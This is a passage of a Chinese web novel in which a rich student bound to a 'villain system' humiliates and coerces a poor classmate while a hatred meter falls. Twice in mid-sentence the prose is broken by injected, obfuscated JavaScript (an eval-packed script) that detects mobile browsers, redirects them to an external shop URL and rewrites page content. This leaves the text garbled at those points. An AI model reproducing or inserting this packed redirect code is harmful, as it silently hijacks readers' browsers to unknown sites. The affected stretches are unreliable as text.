他勉强撑起身子,接过水杯,温水滑过喉咙,稍稍缓解了胃部的灼烧感。 “粥还要再等一会儿。”褚含舟说完,转身要走。 “站住。”祁云照命令道,“谁准你走了?” 褚含舟停住脚步,但没有回头。 祁云照能看到他绷紧的后颈线条,还有制服下微微颤抖的肩膀。 不知是愤怒还是别的什么情绪。 “过来。”祁云照拍了拍身边的空位,“坐下。” 褚含舟转身,眼神晦暗不明。 他犹豫了一秒,最终走到沙发边缘,却没有坐下,而是保持着一段微妙的距离。 祁云照突然伸手抓住他的手腕,用力一拽。 褚含舟猝不及防,踉跄着跌坐在沙发上。 两人之间的距离骤然缩短,近到能感受到彼此的呼吸。 “我让你坐下。”祁云照凑近他耳边,气息拂过他的耳廓,“不是站在那儿当雕塑。” 褚含舟的睫毛剧烈颤了一下,但没有躲开。 祁云照注意到他的耳尖红了,管他是因为愤怒还是别的什么。 这个发现让他心情莫名好了些,连胃痛都似乎减轻了几分。 “去把粥端来。”祁云照松开手,向后靠进沙发里,闭上眼睛,“我饿了。” 脚步声远去又回来。 褚含舟将一碗冒着热气的粥放在茶几上,山药和米粒熬得恰到好处,表面浮着一层细腻的米油,点缀着翠绿的葱花。 祁云照睁开眼,却没有动。 他盯着那碗粥看了几秒,突然勾起嘴角:“喂我。” 褚含舟的身体明显僵住了:“什么?“ “我说,“祁云照一字一顿地重复,眼神危险地眯起,“喂、我。” 空气凝固了几秒。 褚含舟的下颌线绷得紧紧的,祁云照几乎能听到他磨牙的声音。 但最终,少年还是伸手端起碗,舀了一勺粥,小心翼翼地吹凉。 祁云照好整以暇地看着他,欣赏着他每一个不情愿的动作。 当那勺粥递到嘴边时,他故意不张嘴,只是用玩味的眼神看着褚含舟。 “不烫了。”褚含舟低声说。 祁云照这才慢悠悠地张口,含住勺子。 粥的味道出乎意料的好,山药绵软,米香浓郁,带着姜的微微辛辣。 他满足地眯起眼,像只被顺毛的猫。 “继续。”他命令道。 褚含舟又舀了一勺,同样放了一会儿,等粥凉一点。 不知为何,这个细节让他心情大好。 他故意在含住勺子时用舌尖轻轻舔了一下勺背,如愿以偿地看到褚含舟的瞳孔猛地收缩。 “你手艺不错。”祁云照咽下粥,懒洋洋地评价,“看来贫民窟确实能锻炼人。” 褚含舟的手顿了一下,但很快继续舀粥。 他没有回应这句挑衅,只是机械地重复着喂食的动作,眼神始终避开祁云照的脸。 半碗粥下肚,祁云照的胃痛缓解了不少。 他忽然抓住褚含舟的手腕,制止了他继续喂食的动作。”揉一下。”他指了指自己的胃部,“疼。” 褚含舟的呼吸明显乱了。 他放下碗,犹豫了几秒,最终将手覆在祁云照的上腹。 隔着薄薄的衬衫,他能感受到对方肌肤的温度,还有因疼痛而略微紧绷的肌肉。 “用力点。”祁云照不满地皱眉,“没吃饭吗?“ 褚含舟加大了力道,手掌顺时针缓缓按揉。 祁云照舒服地叹了口气,不自觉地放松了身体。 “你经常做这个?“祁云照半闭着眼问。 “我弟弟和妈妈……”褚含舟的声音很低,“他们身体都不好。” 祁云照睁开眼,打量着近在咫尺的少年。 褚含舟低着头,遮住了眼中的情绪。 不知为何,祁云照突然想碰碰他的脑袋。 他抬起手,指尖刚触到褚含舟的头,对方就像触电般猛地后仰。 “别动。”祁云照冷下声音,一把扣住他的后颈,强迫他保持这个姿势。 但是手落下的地方变换,放到了褚含舟伤口上。 “疼吗?”他问,声音里带着虚假的关切。 褚含舟的呼吸变得急促,但眼神依然平静得可怕。 “不疼。” 祁云照轻笑一声,突然用力按了一下伤处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612258|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚含舟的身体猛地一颤,但硬是没发出声音。 “撒谎。”祁云照凑近他耳边,开口,“撒谎是会得到惩罚的。” 褚含舟的手在祁云照胃部停顿了一瞬,然后继续按摩,力道没有丝毫变化。 祁云照有些惊讶于他的克制,这真不像是一个被如此羞辱的人该有的反应。 困意突然袭来。 祁云照打了个哈欠,在褚含舟有节奏的按摩中,他的眼皮越来越沉。 胃痛已经基本消退,取而代之的是一种舒适的倦意。 他模糊地想着,这个玩具比他预想的要有趣得多…… 【警告!检测到异常数值波动!】 【主角褚含舟当前痛苦值:63/100】 【仇恨值:68/100】 【请宿主注意!仇恨值下降过快!】 机械的电子音在脑海中炸响,祁云照猛地惊醒。 他眨了眨眼,一时没反应过来。 褚含舟仍在为他按摩,低着头看不清表情。 仇恨值……下降了? 祁云照在心里默念了一遍系统提供的数据。 这不合常理啊。 按照剧本,褚含舟应该对他恨之入骨才对,尤其是在经历了今天的种种羞辱后。 他盯着褚含舟的发旋,突然伸手抓住对方的手腕。 “够了。”他冷声道,“你可以滚了。” 褚含舟收回手,站起身。 “把碗洗了。”祁云照补充道,目光紧紧锁住褚含舟的脸,试图找出任何异常,“然后回你的狗窝去。” 褚含舟点点头,收拾好碗勺走向厨房。 褚含舟的背影消失在厨房门后,水龙头的声音随即响起。 祁云照依然陷在沙发里,指尖有一下没一下地挠着欢欢的下巴,萨摩耶发出舒服的呼噜声。但他的注意力全在脑海中那个聒噪的系统上。 【宿主!请立即采取行动提升主角仇恨值!】 系统的电子音尖锐刺耳。 【当前数值已跌破危险阈值!】 祁云照在心里冷笑:“急什么?这才第一天。” 【根据原著剧情,此时仇恨值应维持在85以上!宿主今日行为已严重偏离剧本!】 “剧本?”祁云照慢条斯理地抚摸着欢欢的毛发,“那种无聊的东西也配叫剧本?” 系统似乎被噎住了,电子音滋啦作响: 【这、这是规定流程……】 “规定?”祁云照突然来了兴致,在脑海中与系统交锋,“告诉我,如果我偏不按你的剧本走,会怎样?” 【剧情线将彻底崩坏!宿主将失去反派光环!最终结局无法保证!】 祁云照轻笑出声,吓得欢欢抬头看了他一眼。他揉了揉狗狗的脑袋,继续在脑中回应:“所以呢?” 【所以宿主必须——】 “必须什么?”祁云照打断它,眼神渐冷,“按照你给的台词,像个提线木偶一样表演?在特定时间说特定的话,做特定的事?” 系统沉默了几秒: 【……这是最优解。】 “最优?”祁云照站起身,走向落地窗,月光将他的轮廓镀上一层银边,“看着一个活生生的人按照既定路线走向毁灭,就是你说的最优?” 厨房的水声停了。 祁云照透过玻璃的反光,看到褚含舟擦着手走出来,动作轻得几乎无声。 少年在客厅边缘停顿了一下,目光似乎投向了他的背影,但很快就收回,安静地走向走廊尽头的侧卧。 门关上的声音很轻,但在夜里格外清晰。 【宿主!请集中注意力!】 系统急不可耐地打断他的思绪。 【当前首要任务是——】 5. 第 5 章 “闭嘴。”祁云照冷冷地命令,“你太吵了。” 【宿主不能这样!本系统是来协助你完成任务的!】 “协助?”祁云照转身走向卧室,声音里带着毫不掩饰的讥讽,“一个连基本变量都计算不了的废物系统,也配谈协助?” 系统像是被踩了尾巴的猫,电子音陡然拔高:【请宿主注意言辞!本系统经过时空管理局最高认证!】 祁云照推开卧室门,月光透过落地窗洒满一室。 他没有开灯,径直走向床边,慢条斯理地解开衬衫纽扣。 “最高认证?”他嗤笑一声,“那你怎么解释仇恨值下降?” 系统再次卡壳,发出滋滋的电流声:【数、数据可能出现暂时性波动……】 “波动?” 祁云照将衬衫扔在椅背上,露出精瘦的上身,“从75降到68,这叫波动?” 【......】 系统彻底沉默了。 祁云照满意地勾起嘴角,掀开被单躺下。 床垫完美贴合他的身体曲线,但他却罕见地没有睡意。 脑海中不断回放今晚的片段。 太有趣了。 这个看起来逆来顺受的玩具…… 【警告!】 系统突然又冒出来,声音比之前更加尖锐。【检测到宿主思维模式异常偏离反派设定!请立即纠正!】 祁云照翻了个身,懒洋洋地回应:“怎么,现在连我想什么都要管?” 【宿主对主角的关注度已超出正常范围!】 【这不符合反派人设!】 “哦?”祁云照挑眉,“那你说说,反派人设应该怎样?” 【应该……应该……】 系统结结巴巴地开始背诵手册。 【应该对主角充满恶意,以折磨主角为乐,在特定剧情节点……】 “难道不是这么做的?”祁云照打断它,“而且……既然这个世界已经脱离''剧本'',那我为什么还要扮演一个纸片人反派?” 系统彻底哑火,只发出微弱的电流杂音。 祁云照闭上眼睛,在脑海中最后补了一刀:“与其担心我,不如想想怎么向你的上级解释数据异常。晚安,废物。” 【滋——】 系统发出一声长长的哀鸣,然后彻底静音了。 卧室内只剩下钟表的滴答声。 祁云照的呼吸渐渐平稳。 睡意终于袭来。 就在祁云照即将坠入梦乡的边缘,系统突然又冒出来,声音小得几乎听不见: 【不对劲,这男主太不对劲了……】 【但这是我的第一个任务啊!新手统就出这么大纰漏。】 祁云照有些烦躁地翻身。 【算了算了。】 系统自暴自弃地嘟囔。 【就当不知道……】 电子音彻底消失,这次是真的休眠了。 夜还很长。 …… 褚含舟是被一阵湿热的触感惊醒的。 他睁开眼,发现欢欢正用鼻子轻轻拱着他的脸。 见他醒了,欢欢立刻兴奋地摇起尾巴,喉咙里发出撒娇般的呜咽声。 褚含舟伸手揉了揉它的脑袋,这才意识到自己还睡在地板上。 他撑着地面坐起身,浑身的骨头像是被拆散后又勉强拼凑起来,发出不堪重负的声响。 侧卧的窗帘没有拉严,一缕阳光斜斜地切进来,落在他昨夜铺在地板上的薄被上。 欢欢见他醒了,立刻转身跑向门口,用爪子扒拉着门板,又回头看他,像是在催促他快点起来。 褚含舟看了看床。 欢欢昨晚睡的地方…… 床单上还留着几根白色的狗毛。 他沉默地站起身,叠好被子,然后走向门口。 走廊里静悄悄的,主卧的门虚掩着。 褚含舟的脚步不自觉地放轻,走到主卧门前时,他犹豫了一下,还是抬手敲了敲门。 没有回应。 他又敲了敲,依然是一片寂静。 欢欢在他脚边转来转去,发出焦急的哼唧声。褚含舟深吸一口气,轻轻推开了门。 主卧里空无一人。 床铺整洁得像是没人用过,被子平整地铺在床上,连一丝褶皱都没有。 窗帘大开着,阳光肆无忌惮地洒进来,照亮了房间里每一个角落。 空气中还残留着若有若无的香气,是祁云照身上的味道,但人已经不见了。 褚含舟站在门口,一时不知道该做什么。 欢欢已经跑进房间,跳上床,用鼻子四处嗅着,最后失望地趴下来,眼巴巴地看着他。 “他走了。”褚含舟低声说,不知是在对狗说还是对自己说。 他关上门,转身走向浴室。 洗漱台上,祁云照的洗漱用品整齐地排列着,和他昨晚看到的一模一样。 褚含舟盯着那些瓶瓶罐罐看了一会儿,最终只是拿起自己的牙刷,沉默地开始洗漱。 冷水拍在脸上,让他彻底清醒过来。 抬起头,镜子里的少年脸上的伤口已经结痂,嘴角的淤青也淡了一些。 他盯着镜中的自己看了几秒,突然伸手抹去镜面上的水珠,像是要擦掉什么不堪入目的东西。 欢欢一直跟在他身后,见他洗漱完毕,又急切地往厨房方向跑。 褚含舟这才意识到它可能是饿了。 他走进厨房,打开储物柜,里面除了昨晚用剩的食材,还有几盒狗粮。 他拿出狗粮,倒进欢欢的食盆里。 萨摩耶立刻埋头吃起来,尾巴摇得像个小风扇。 褚含舟蹲在一旁看着它,突然想起祁云照昨晚说的话。 “当我的狗,可不是谁都能行的。” 他自嘲地扯了扯嘴角,起身走向自己的房间收拾书包。 时间还早,但他已经不想继续待在这儿。 圣帝安的校园在清晨显得格外宁静。 褚含舟穿过林荫道,阳光透过树叶的缝隙在地上投下斑驳的光影。 他的脚步不自觉地放慢,目光扫过每一个可能遇见那个人的角落。 但祁云照不在。 教室里已经零星坐了几个学生,看到他进来,交谈声立刻低了几分。 褚含舟目不斜视地走向自己的座位——最后一排靠窗的位置。 刚坐下,他就注意到前面几排的红发男生今天没来。 “嘿。” 一个声音从旁边传来。 褚含舟转头,看到他的同桌正小心翼翼地打量着他。 “昨天……”同桌推了推眼镜,声音压得很低,“我听说你和祁少……” 褚含舟的手指无意识地蜷缩了一下,但面上依然平静:“没什么。” “真的?”同桌的眼睛瞪大了,“可是大家都在传,说你成了他的……呃,跟班?” 这个词显然经过了一番斟酌。 褚含舟能感觉到周围若有若无的视线,那些目光像针一样扎在他背上。 他低头翻开课本,声音平淡:“随他们怎么说。” 同桌似乎还想问什么,但上课铃响了,老师走进教室,谈话被迫中断。 整个上午的课程,褚含舟都心不在焉。 直到体育课,他才终于听到了关于祁云照的消息。 “祁少今天去马场了。”一个声音从身后传来。 褚含舟正在更衣室换运动服,听到这句话,他的动作顿了一下。 “听说那匹新到的纯血马只有他能驯服。”另一个声音接道,语气里带着明显的崇拜,“不愧是祁少。” “喂,你们看……”声音突然压低,“那不是祁少的‘新宠物’吗?” 褚含舟系鞋带的手指微微发紧,但他没有抬头,只是继续手上的动作。 几双球鞋出现在他的视线里。 他缓缓站起身,对上了几张充满敌意的脸。 好像见过?祁云照的跟班们? “听说你昨天很威风啊。”为首的男生冷笑道,上下打量着褚含舟,“在祁少面前摇尾乞怜,胆子不小。” 褚含舟平静地回视他,没有说话。 “怎么,哑巴了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612259|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”男生上前一步,几乎贴到他面前,“别以为祁少一时兴起,你就能飞上枝头变凤凰了。像你这种下城区的垃圾,连给祁少提鞋都不配。” 更衣室里安静得可怕,所有人都屏住呼吸看着这一幕。 褚含舟能感觉到那些目光中的好奇、鄙夷,甚至还有几分幸灾乐祸。 “说完了?”他终于开口,声音很轻,却让周围的空气都为之一滞。 男生愣了一下,显然没料到他会这么回应。他恼羞成怒地揪住褚含舟的衣领:“你——” “住手。” 一个冰冷的声音从门口传来。 所有人同时转头,只见陆承昀站在那里,眼睛不带任何感情地看着他们。 “祁少说过,他的东西,别人不能碰。” 陆承昀慢条斯理地说,目光落在那个揪着褚含舟衣领的男生手上,“你是想违抗他的命令?” 男生的手立刻松开了,脸色变得煞白:“不、不是的,陆哥,我只是……” 陆承昀没再理他,而是看向褚含舟:“祁少让你放学后去马场找他。” 褚含舟的瞳孔微微收缩,但很快恢复平静:“知道了。” 陆承昀点点头,转身离开。 更衣室里的气氛顿时松懈下来,那几个跟班也不敢再找褚含舟的麻烦,灰溜溜地走了。 体育课的内容是篮球。 褚含舟被分到了替补队,大部分时间都坐在场边。 他的目光时不时飘向远处的马场,但距离太远,什么也看不清。 下课铃响起时,他已经出了一身汗。 初秋的阳光依然毒辣,晒得他皮肤发烫。 他走向食堂,胃里空荡荡的感觉提醒他已经很久没吃东西了。 食堂一楼人声鼎沸。 褚含舟端着餐盘,找了个最角落的位置坐下。 今天的免费餐是土豆泥和一小块炸鱼,他机械地咀嚼着,食不知味。 “可以坐这里吗?” 一个声音从头顶传来。 褚含舟抬头,看到他的同桌正端着餐盘,有些局促地站在对面。 他点点头,同桌立刻松了口气,在他对面坐下。 “那个……”同桌欲言又止。 褚含舟的动作顿了一下,但没有回应。 “祁云照他……”同桌的声音更低了,“你最好小心点。他……和一般人不一样。” 褚含舟终于抬起头:“什么意思?” 同桌左右看了看,确定没人注意他们,才凑近一些:“我听说,上一个得罪他的人……退学了。不是自愿的那种。” 褚含舟的眉头几不可察地皱了一下:“所以?” “所以……”同桌咽了口唾沫,“你别太相信他。他们那种人,把我们都当玩具。” 褚含舟放下叉子,突然觉得胃口全无。 他看向窗外,马场的轮廓在阳光下若隐若现。 “谢谢提醒。”他说,声音平静得听不出任何情绪,“但我自有分寸。” 同桌似乎还想说什么,但食堂另一头突然传来一阵骚动。 两人同时转头,只见一群人簇拥着一个身影走了进来。 祁云照。 他穿着马术服,靴子上还沾着草屑,看起来是刚从马场过来。 阳光从他身后的大窗户照进来,给他整个人镀上一层金边,耀眼得让人无法直视。 褚含舟的手指无意识地捏紧了叉子。 祁云照似乎感应到了什么,转头看向他这个方向。 两人的视线在空中交汇,一瞬间,食堂的喧嚣仿佛都远去了。 祁云照的嘴角勾起一抹似有若无的笑,然后转身走向二楼的VIP区域。 他的跟班们立刻跟上,像一群忠诚的猎犬。 “看吧。”同桌小声说,“他们甚至不用和我们呼吸同一层的空气。” 褚含舟没有回答。他的目光依然停留在祁云照消失的楼梯口,眼神晦暗不明。 就在这时,他的手机震动了一下。 一条陌生号码发来的短信: 【上来。别让我等太久。】 6. 第 6 章 褚含舟盯着手机屏幕。 片刻后,他起身,叉子“当啷”一声砸在餐盘上。 “你疯了?”同桌声音里带着惊恐,“你真要过去?” 褚含舟没回答,只是将没动过的炸鱼推到了对方面前。 楼梯铺着地毯,踩上去无声无息。 二楼的冷气开得很足,褚含舟一上来就闻到浓郁的奶油蘑菇汤香气。 落地窗边,祁云照被五六个人簇拥着坐在长桌主位,雪白的餐巾搭在膝上,手里把着一把银质餐刀。 阳光透过他身后的彩绘玻璃,将他的轮廓隐隐绰绰照出来。 陆承昀凑在祁云照耳边说什么,在祁云照肩头投下一道晃动的阴影。 见褚含舟出现在楼梯口,陆承昀的声音戛然而止,整桌人像被按下暂停键般齐齐转头。 祁云照抬了抬下巴。 这个动作他做出来极矜贵,脖颈线条绷出一道优美的弧。 他没说话,但所有人都读懂了指令。 陆承昀的嘴角抽动了一下,慢吞吞地挪到隔壁座位,空出祁云照右手边的位置。 褚含舟走过去,听见有人从鼻腔里挤出一声嗤笑。 餐椅是丝绒面的,他刚坐下就陷进去半寸。 “这是A区特供的松露鹅肝。”陆承昀突然开口,将一碟食物推过来,镜片后的眼睛弯了弯,但笑意不达眼底,“褚同学应该没见过吧?” 餐盘折射出冷光。 整桌人都在等待他的窘迫,但褚含舟只是平静地望向祁云照:“需要我做什么?” 祁云照正在切一块三分熟的牛排,粉红色血水渗进骨瓷盘里,闻言,他刀尖一顿,银叉在盘底刮出刺耳的声响。 “喂我。” 祁云照指了指旁边的焗龙虾。 这句话说得轻描淡写。 褚含舟还没什么反应,陆承昀的叉子却当啷掉在桌上。 【警告!主角仇恨值波动!当前数值65→71/100】 系统的电子音在祁云照脑海里炸响。 果然……褚含舟的手指似乎收紧了一瞬。 “这道焗龙虾要趁热吃。”陆承昀突然插话,“云照,我帮你——” “你很吵。”祁云照掀了掀眼皮。 陆承昀的喉结滚动了一下,讪讪靠回椅背。 褚含舟拿起祁云照的备用银叉,叉起一块龙虾肉。 他的动作倒是意外地标准,手腕悬停的弧度恰到好处,既不让酱汁滴落,又保持与祁云照嘴唇的最佳距离。 祁云照就着他的手咬下食物,舌尖若有若无擦过叉尖,满意地看到褚含舟的耳廓泛起血色。 【仇恨值73→68/100】 祁云照在心里“啧”了一声。 龙虾肉裹着奶油酱在口腔化开,他突然觉得反胃。 “不好吃?”褚含舟问。 祁云照掀起眼皮。 “换一个。”祁云照用下巴点了点远处的樱桃蛋糕。 褚含舟刚要起身,陆承昀按住转盘:“我来吧。” 他切下一大块蛋糕,奶油堆得摇摇欲坠,故意在递给褚含舟时倾斜手腕—— “啪!” 祁云照的餐刀突然横插过来,抵住陆承昀的手腕。 奶油砸在桌布上,晕开一团污渍。 “我说。”祁云照慢条斯理地动了动刀尖,陆承昀的手腕立刻浮现一道红痕。 “让他来。” 整个二楼鸦雀无声。 樱桃蛋糕最终被完整取来。 褚含舟挖了一勺,祁云照却偏头避开:“太甜。” “祁少最近厌食症又犯了。”有人小声解释。 褚含舟的勺子停在半空。 他这才注意到,祁云照面前的餐盘里,每道菜都只动了一两口,红酒倒是喝了半杯。 犹豫片刻,他换了个干净勺子,刮下蛋糕底层不太甜的部分。 祁云照盯着递到唇边的勺子,突然笑了。 他倾身含住银勺,牙齿在金属上磕出轻响,舌尖卷走那点蛋糕。 “赏你的。” 他将整盘樱桃蛋糕推到褚含舟面前。 【仇恨值68→75/100】 系统在祁云照脑中疯狂闪烁:【宿主!请维持人设!】 祁云照漫不经心地在脑海里回应:“我难道不像个变态反派?” 【但仇恨值波动异常!原著此时应该突破85——】 “闭嘴。” 祁云照看着褚含舟机械地吞咽蛋糕。 少年垂下的睫毛投出细密阴影,遮住了那双黑眼睛里翻涌的情绪。 真有趣。 祁云照起身:“走了。” 陆承昀慌忙跟上:“下午的董事会……” “你代我去。”祁云照头也不回地走向楼梯,声音里带着餍足的慵懒,“我的狗饿了,得带他去遛遛。” 阳光将两人的影子重叠在一起。 影子叠影子,如同锁链缠绕上褚含舟的脚。 陆承昀站在原地,他眼神晦暗不明。 “陆哥……”有人小心翼翼地开口。 陆承昀猛地回神,嘴角扯出一个僵硬的笑:“都散了吧。” 他的声音很轻,却让整桌人如蒙大赦,纷纷起身离开。 直到二楼只剩下他一个人,陆承昀才缓缓坐下,从口袋里掏出一块手帕,慢条斯理地擦拭着刚才被祁云照的餐刀抵过的手腕。 那里有一道浅浅的红痕。 走廊的阴影里,祁云照突然停下脚步。 褚含舟跟在他身后半步,险些撞上他的后背。他下意识地抬头,却见祁云照转过身,逆着光的脸上一片晦暗不明。 “抬头。”祁云照命令道。 褚含舟微微仰起脸。 阳光从走廊尽头的玻璃透进来,将他的轮廓镀上一层虚幻的光晕。 祁云照盯着他看了两秒,突然抬手,不轻不重地给了他一耳光。 “啪。” 清脆的声响在空荡的走廊里格外刺耳。 褚含舟的脸偏了偏。 他咬紧牙关,没有发出声音,只是缓缓转回来,重新看向祁云照。 祁云照眯起眼:“不喜欢这种眼神。” 他的指尖轻轻抚过褚含舟的脸:“下次不允许这样看我。” 褚含舟的喉结滚动了一下,最终垂下眼睫,遮住了那双黑沉沉的眸子。 祁云照满意地收回手,转身继续往前走。 褚含舟沉默地跟上,两人一前一后穿过长廊,谁都没有再说话。 回到宿舍,祁云照径直走向沙发,懒洋洋地躺下。 欢欢立刻从角落里跑过来,兴奋地扑到他腿边。 “去。”祁云照揉了揉它的脑袋,指了指褚含舟,“找他。” 欢欢歪了歪头,似乎有些困惑,但还是听话地跑向褚含舟,用湿漉漉的鼻子蹭了蹭他的手。 褚含舟蹲下身,轻轻抚摸着欢欢的毛发。 萨摩耶舒服地眯起眼,喉咙里发出咕噜咕噜的声音。 祁云照靠在沙发。 【警告!主角仇恨值波动异常!当前数值75→70/100】 系统的电子音突兀地在脑海中响起。 祁云照挑了挑眉,在心里嗤笑一声:“怎么,他对狗温柔点也算崩人设?” 【原著中主角对动物并无特殊情感!】 “那现在有了。”祁云照懒洋洋地回应,“剧本不是早就歪了吗?” 系统沉默了几秒,突然换了个话题: 【宿主,您父亲即将来电。】 祁云照的指尖在沙发扶手上轻轻敲了敲,果然,下一秒,手机震动起来。 他按下接听键:“爸。” 电话那头传来祁父低沉的声音:“云照,董事会那边说你没去?” “嗯,身体不太舒服。”祁云照漫不经心地回答,目光却落在不远处的褚含舟身上。 少年正蹲在地上,耐心地给欢欢梳毛,动作轻柔得像在对待什么珍宝。 祁父的声音顿了顿:“……那个褚含舟,还住在你那里?” 祁云照的嘴角勾起一抹玩味的笑:“是啊。” “他怎么样?” 祁云照盯着褚含舟的背影,慢条斯理地说道:“过得很好。” 他故意停顿了一下,又补充道,“我们相处得很好。” 电话那头沉默了几秒,似乎对这个回答有些意外。 “媒体那边已经安排好了,下周会有记者去采访。”祁父最终说道,“你注意点形象。” “知道了。”祁云照懒懒地应了一声,挂断电话。 他随手将手机扔到一边,起身走向褚含舟。 欢欢正舒服地躺在地上,任由褚含舟梳理它的毛发,雪白的皮毛在阳光下闪闪发亮。 祁云照在褚含舟身后站定,居高临下地看着他: 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祁云照翻了个身,看向紧闭的卧室门。 他能听到外面隐约的动静。 欢欢的爪子在地板上哒哒的声响,褚含舟轻轻的脚步声。 他忽然有些好奇,褚含舟现在在做什么? 客厅里,褚含舟正蹲在地上,给欢欢倒狗粮。萨摩耶兴奋地摇着尾巴,在他腿边转来转去。 他机械地将狗粮倒进碗里,脑海里却回荡着祁云照刚才的话。 “我们相处得很好。” 这句话像一根刺,扎在他的神经上。 他闭了闭眼,强迫自己不去想。 欢欢吃完狗粮,又凑过来蹭他的手,湿漉漉的鼻尖碰了碰他的掌心。 褚含舟低头看着它,突然觉得有些荒谬。 这只狗对他的信任,比它的主人对他多得多。 他轻轻摸了摸欢欢的头,站起身,走向厨房。冰箱里空空如也,只有几瓶矿泉水和半盒牛奶。 今天管家没补货? 他犹豫了一下,还是拿出手机,点开外卖软件。 半小时后,门铃响了。 褚含舟走过去开门,外卖员递给他一个袋子:“您点的粥和药。” 他道了谢,关上门,将袋子放在茶几上。 欢欢好奇地凑过来闻了闻,被他轻轻推开。 卧室的门突然开了。 祁云照倚在门框上,目光落在茶几上的袋子上:“什么东西?” “粥。”褚含舟平静地回答,“还有胃药。” 祁云照挑了挑眉,走过来打开袋子。 里面是一碗还冒着热气的山药粥,旁边是一盒常见的胃药。 他的眼神微微一动,抬头看向褚含舟:“你怎么知道我胃疼?” 褚含舟没有回答,只是沉默地站在那里。 祁云照突然笑了:“这么关心我?” 他凑近一步,几乎贴着褚含舟的耳边,声音压得很低:“还是说……你在讨好我?” 褚含舟的呼吸微微一滞,但很快恢复平静。 他后退半步,拉开距离。 祁云照盯着他看了几秒,顿觉无趣。 他拿起粥碗,慢条斯理地喝了一口,然后皱了皱眉:“没你煮的好吃。” 褚含舟的手指微微蜷缩了一下。 祁云照将粥碗放回茶几上,转身走向沙发:“药。” 褚含舟沉默地取出药片,递给他。 祁云照接过,就着矿泉水吞下,然后懒洋洋地靠在沙发上,闭上眼睛。 “过来。”他命令道。 褚含舟站在原地没动。 祁云照睁开眼,眼神危险地眯起:“别让我说第二遍。” 褚含舟最终还是走过去,站在沙发边。 祁云照伸手拽住他的手腕,将他拉到自己身前。 “揉。”他指了指自己的胃部,语气不容置疑。 褚含舟抿了抿唇,最终还是跪坐在沙发旁,将手覆在祁云照的上腹,轻轻按揉起来。 祁云照舒服地叹了口气,重新闭上眼睛。 他的睫毛在眼下投下一小片阴影,呼吸渐渐平稳。 【仇恨值73→68/100】 7. 第 7 章 祁云照是被窗外鸟鸣声吵醒的。 他皱了皱眉,下意识想拉过被子蒙住头。 记忆慢慢回笼。 昨晚他胃病突然发作,疼得他蜷在沙发上直冒冷汗。 【宿主终于醒了!】 系统的电子音在脑海中响起。 【您知道现在几点了吗?已经十点了!】 祁云照懒洋洋地翻了个身,阳光透过纱帘洒在他脸上,将睫毛都染成浅金色。 他伸手挡住光线。 “我怎么会睡在这里?”他声音还带着刚睡醒的沙哑。 【您昨晚胃疼得厉害,是褚含舟把您抱回卧室的!】 系统的电子音突然拔高。 【他不仅抱您上床,还守到凌晨!这完全不符合原著剧情!】 祁云照轻轻“啧”了一声,慢吞吞地坐起身。 睡衣因为睡姿不老实而皱巴巴地贴在身上,领口歪斜着露出一截锁骨。 他光脚踩在地板上,木质地板微凉的触感让他缩了缩脚趾。 洗漱间传来隐约的水声。 祁云照揉着太阳穴走过去,推开门就看到褚含舟背对着他正在拧干抹布。 少年穿着简单的白T和黑色运动裤,后颈的碎发被汗水打湿,贴在皮肤上。 听到动静,褚含舟立刻转身,手里的抹布“啪嗒”掉进水盆。 水珠溅在他裤脚上,晕开深色的痕迹。 “早。”祁云照靠在门框上,目光扫过洗漱台。 他的电动牙刷已经充好电摆在杯子上,牙膏挤得恰到好处,连漱口水的瓶盖都是拧开的。 褚含舟迅速低下头:“你醒了。” “你打扫的?”祁云照拿起牙刷,薄荷味的牙膏在口腔里化开。 “嗯。”褚含舟的声音闷闷的,“昨晚你吐了……地上有血迹。” 祁云照刷牙的动作顿了一下。 是吗? 他这才注意到洗漱间角落放着一个塑料盆,里面泡着几条毛巾,水色微微发红。 【仇恨值+5,当前65/100】 系统突然播报。 【这才对嘛!他应该恨您!】 祁云照吐掉嘴里的泡沫,从镜子里打量褚含舟:“你照顾了我一晚上?” 褚含舟眼睛东看西看,就是不看祁云照:“校医来了,他说……你需要有人看着。” “多管闲事。”祁云照冷笑一声,却伸手接过褚含舟递来的毛巾。 热毛巾敷在脸上,他舒服得叹了口气。 【仇恨值-3,当前62/100】 系统哀嚎。 【怎么又降了!】 祁云照把毛巾扔回水盆,水花溅在褚含舟胸前。 白T被打湿一片,隐约透出底下的肌肤。 褚含舟僵在原地没动,睫毛剧烈颤抖着。 “我要换衣服。” 祁云照转身走向衣帽间,光脚踩在地毯上几乎没发出声音。 他能感觉到褚含舟跟在他身后,保持着几步远的距离。 衣帽间里,欢欢正趴在他的运动鞋上睡觉。 听到动静,小狗立刻摇着尾巴扑过来。 祁云照弯腰揉了揉它的脑袋,欢欢却突然转向褚含舟,亲热地舔了舔他的手指。 “小叛徒。”祁云照轻哼一声,随手脱下睡衣扔在地上。 晨光透过百叶窗在他背上投下斑驳的光影,肩胛骨随着动作起伏。 褚含舟立刻别过脸,耳尖泛红。 他快步走到衣柜前,取出一套深蓝色校服:“今天周一……要升旗。” 祁云照瞥了一眼:“不要这个。” 他指向最里面那件浅灰色连帽卫衣,“那个。” 褚含舟取出卫衣,他动作太大,一张照片从他的口袋里飘出来。 祁云照抢先一步捡起来,发现是去年他篮球赛后的合影。 照片里他在正中心,笑容灿烂。 而照片角落,褚含舟站在人群最边缘,目光却直直看向镜头中央的他。 “这个?”祁云照挑眉。 